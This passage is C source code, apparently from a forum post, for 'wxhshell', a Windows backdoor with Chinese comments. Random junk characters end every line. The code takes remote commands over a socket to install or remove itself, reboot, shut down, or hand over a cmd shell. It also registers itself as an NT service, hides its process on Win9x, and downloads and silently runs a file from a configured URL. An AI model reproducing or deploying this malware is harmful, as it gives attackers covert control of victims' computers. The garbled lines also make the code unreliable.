  case '?': { oOFVb5qoFU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fz "Y CHe  
    break; 61U09s%\0  
  } .Z *'d  
  // 安装 N;`n@9BF  
  case 'i': { Z7Hbj!d/Sz  
    if(Install()) 6Z"X}L,*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0o&5 ]lEe  
    else $IpccZpA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.w.rVDD  
    break; 6D3B^.r j]  
    } j0q&&9/Jj  
  // 卸载 X"eYK/7  
  case 'r': { cw <l{A  
    if(Uninstall()) 4o5t#qP5$S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jln:`!#fDf  
    else j#4kY R{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o ^uA">GH  
    break; ^U/O !GK  
    } YGNP53CU  
  // 显示 wxhshell 所在路径 N8df8=.kw  
  case 'p': { )vlhN2iv  
    char svExeFile[MAX_PATH]; rYk0 ak  
    strcpy(svExeFile,"\n\r"); wUJcmM;  
      strcat(svExeFile,ExeFile); r5^eNg k  
        send(wsh,svExeFile,strlen(svExeFile),0); G' 1'/  
    break; x]j W<A  
    } UJ2U1H54h  
  // 重启 xyXa .  
  case 'b': { xskz) kk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3Jn ;}  
    if(Boot(REBOOT)) ]6j{@z?{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gs`q6 f%(  
    else { #GFr`o0$^  
    closesocket(wsh); @2i9n  
    ExitThread(0); <:CkgR$/{  
    } ) )Za&S*<  
    break; 'V>-QD%1  
    } M"L=L5OH-  
  // 关机 RxQ*  
  case 'd': { /yZcDK4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dw"\/p:-3  
    if(Boot(SHUTDOWN)) ;n;p@Uu[ b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q/Rqa5LI:  
    else { h{qgEIk&  
    closesocket(wsh); +b 6v!7_  
    ExitThread(0); yB!dp;gM{  
    } x4O~q0>:Le  
    break; +kD R.E:  
    } `WS&rmq&'  
  // 获取shell v"0J&7!J  
  case 's': { DHRlWQox  
    CmdShell(wsh); * v#o  
    closesocket(wsh); ;kKyksxlD  
    ExitThread(0); nJ;.Td  
    break; m4Zk\,1m.|  
  } -nwypu  
  // 退出 F"mmLao  
  case 'x': { %"-5 <6d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %z$#6?OK^  
    CloseIt(wsh); !()Qm,1u  
    break; ;9#KeA _  
    } J .<F"r>  
  // 离开 1\.pMHv/  
  case 'q': { ?V=CB,^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h2QmQ>y"  
    closesocket(wsh); 4^d?D!j  
    WSACleanup(); 0*v2y*2V  
    exit(1); Gq P5Kx+=  
    break; $:^td/p J  
        } ,#K'PB4E  
  } ;AG()NjOO:  
  } 19] E 5'AI  
ee=D1qNu;  
  // 提示信息 +w~oH=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @(lh%@hO  
}  0+8e,  
  } |vC~HJpuv'  
E" vS $  
  return; hqdDm  
} 1 -b_~DF  
$pz/?>!  
// shell模块句柄 +cRn%ioVi  
int CmdShell(SOCKET sock) GtHivC  
{ t#yuOUg  
STARTUPINFO si; 3(UVg!t  
ZeroMemory(&si,sizeof(si)); V VCZ9MVJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uw8f ~:LT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !`r$"}g  
PROCESS_INFORMATION ProcessInfo; 2A!FDr~cdT  
char cmdline[]="cmd"; ]_$[8#kg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p]"4#q\(  
  return 0; &e3.:[~_?  
} & nK<:^n  
vKR[&K{Z|  
// 自身启动模式 y_[vr:s5pG  
int StartFromService(void) ")25 qZae  
{ 7-A2_!_x{  
typedef struct E(|>Ddv B&  
{ i-&yH  
  DWORD ExitStatus; t`QENXA}  
  DWORD PebBaseAddress; 5LMw?P.<  
  DWORD AffinityMask; @%SQFu@FJ  
  DWORD BasePriority; 6H|S;K+  
  ULONG UniqueProcessId; z?//rXuO  
  ULONG InheritedFromUniqueProcessId; jj>]9z  
}   PROCESS_BASIC_INFORMATION; Ir]\|t  
S,=|AD  
PROCNTQSIP NtQueryInformationProcess; M3Kfd  
b`_Q8 J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j+YJbL v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,z?':TZ  
#fM'>$N  
  HANDLE             hProcess; ,u!sjx  
  PROCESS_BASIC_INFORMATION pbi; B/C,.?Or  
-K$)DvV^(E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I}Q2Vu<  
  if(NULL == hInst ) return 0; T9&1VW  
wQLSf{2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DTs;{c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }~q5w{_n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ']oQ]Yx0  
[Nq*BrzF  
  if (!NtQueryInformationProcess) return 0; {>;R?TG]$  
L0]_X#s>#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eQ}4;^;M-  
  if(!hProcess) return 0; <-0]i_4sK  
92-I~ !d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WPDyu.QD  
O H7FkR  
  CloseHandle(hProcess); .p$(ZH =~  
2TuU2 f.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y> (w\K9W  
if(hProcess==NULL) return 0; 8>%hz$no=  
H[|~/0?K  
HMODULE hMod; d!{r  v  
char procName[255]; q'11^V!0  
unsigned long cbNeeded; B1Oq!k  
\[nut;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Runf +}  
|&jXp%4T  
  CloseHandle(hProcess); Rva$IX ^]  
YoE3<[KD(  
if(strstr(procName,"services")) return 1; // 以服务启动 JN6B~ZNf  
'm9` 12 H  
  return 0; // 注册表启动 uVU)d1N  
} rQ9'bCSr%  
P>6{&(  
// 主模块 k_R"CKd  
int StartWxhshell(LPSTR lpCmdLine) r%N)bNk~  
{ tI{_y  
  SOCKET wsl; @lt#Nz  
BOOL val=TRUE; 1nOCQ\$l  
  int port=0; bN88ua}k{  
  struct sockaddr_in door; |Ds=)S" K  
A(N4N  
  if(wscfg.ws_autoins) Install(); ]{LjRSV  
D3A/l  
port=atoi(lpCmdLine); 5M_H NWi4  
u-C)v*#L  
if(port<=0) port=wscfg.ws_port; s<o7!!c  
iyog`s c  
  WSADATA data; 39jG8zr=Z[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TB^$1C  
w*MpX U<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wdZ/Xp9]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #89!'W  
  door.sin_family = AF_INET; =rK+eG#,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >OK^D+v"j  
  door.sin_port = htons(port); 8.~kK<)!  
 yOKI*.}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { abEmRJTmW  
closesocket(wsl); -!9G0h&i|  
return 1; nxHkv`s k  
} Y4(  
l lsfTrp  
  if(listen(wsl,2) == INVALID_SOCKET) { w`=\5Oa.G  
closesocket(wsl); MJrR[h]  
return 1; 'P}0FktP`  
} 8sCv]|cn  
  Wxhshell(wsl); bs'n+:X `  
  WSACleanup(); ]0\MmAJRn  
VD\=`r)nT  
return 0; IqGdfL6[(  
A+)`ZTuO  
} ?0,Ngrbe  
 rXU\  
// 以NT服务方式启动 DFTyMB1H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k;L6R!V  
{ D#)b+7N-  
DWORD   status = 0; !Rt>xD  
  DWORD   specificError = 0xfffffff; d^6M9lGU  
MqUH',\3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1!gbTeVlY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '`<w#z}AF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ! v0LBe4  
  serviceStatus.dwWin32ExitCode     = 0; >dG[G>  
  serviceStatus.dwServiceSpecificExitCode = 0; N.{D$"  
  serviceStatus.dwCheckPoint       = 0; 6MkP |vr6  
  serviceStatus.dwWaitHint       = 0; ;w[0t}dPl  
OydwE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O0y_Lm\  
  if (hServiceStatusHandle==0) return; veh<R]U  
m9Hit8f@Q  
status = GetLastError(); #1G:lhkC  
  if (status!=NO_ERROR) ""|Qtubv  
{ >e"#'K0?\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YUIi;  
    serviceStatus.dwCheckPoint       = 0; :08,JL{  
    serviceStatus.dwWaitHint       = 0; }Z,x~G  
    serviceStatus.dwWin32ExitCode     = status; XvlU*TO~(~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8ITdSg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qz N&>sk"  
    return; E\,-XH  
  } 1y4  
^`>/.gL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0_t`%l=  
  serviceStatus.dwCheckPoint       = 0; 8*T=Xei8  
  serviceStatus.dwWaitHint       = 0; E+w<RNBmz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `^y7f  
} n=ux5M  
( ICd}  
// 处理NT服务事件,比如:启动、停止 j,dR,Nd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bbyg8;/  
{ u-5{U-^_  
switch(fdwControl) }!C)}.L<  
{ ,nB5/Lx  
case SERVICE_CONTROL_STOP: tC9n k5~  
  serviceStatus.dwWin32ExitCode = 0; g'qa}/X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N' `A?&2ru  
  serviceStatus.dwCheckPoint   = 0; /Mu @,)''  
  serviceStatus.dwWaitHint     = 0; 7x4PaX(  
  { t1y4 7fX6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J S_]FsxD  
  } #?9;uy<j.q  
  return; 0s2v'A[\  
case SERVICE_CONTROL_PAUSE: `^Em&6!!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <yFu*(Q  
  break; 6b \&~b@T  
case SERVICE_CONTROL_CONTINUE:  'CkIz"Wd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H}bJ"(9$vC  
  break; v-_e)m^  
case SERVICE_CONTROL_INTERROGATE: vOpK Np  
  break; 7s{GbU\  
}; <<R*2b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kq,ucU%>p  
} e&aWq@D  
r? E)obE  
// 标准应用程序主函数 Da&]y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8q}q{8  
{ V /V9B2.$  
7Da`   
// 获取操作系统版本 eM?I$ePTN  
OsIsNt=GetOsVer(); ^qD$z=z-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &@Be2!%'9K  
Y\?"WGL)p  
  // 从命令行安装 >e[i5  
  if(strpbrk(lpCmdLine,"iI")) Install(); K}MK<2vU  
<;Zmjeb+#  
  // 下载执行文件 (rm?jDm   
if(wscfg.ws_downexe) { I75DUJqy]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &AbNWtCV+G  
  WinExec(wscfg.ws_filenam,SW_HIDE); -0x #  
} \Et3|Iv  
oHn Ky[1  
if(!OsIsNt) { U0N 60  
// 如果时win9x,隐藏进程并且设置为注册表启动 SmSH2m-  
HideProc(); (\YltC@q%  
StartWxhshell(lpCmdLine); aH/ k Ua  
} FSW_<%  
else 'op|B@y  
  if(StartFromService()) ;P%1j|7  
  // 以服务方式启动 KEjWRwN  
  StartServiceCtrlDispatcher(DispatchTable); O5nD+qTQ#  
else .MoU1n{Yc  
  // 普通方式启动 ")XHak.JX  
  StartWxhshell(lpCmdLine); wHMX=N1/  
T&u5ki4NE  
return 0; qm8B8&-  
}
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只看该作者 1 发表于: 2006-10-10
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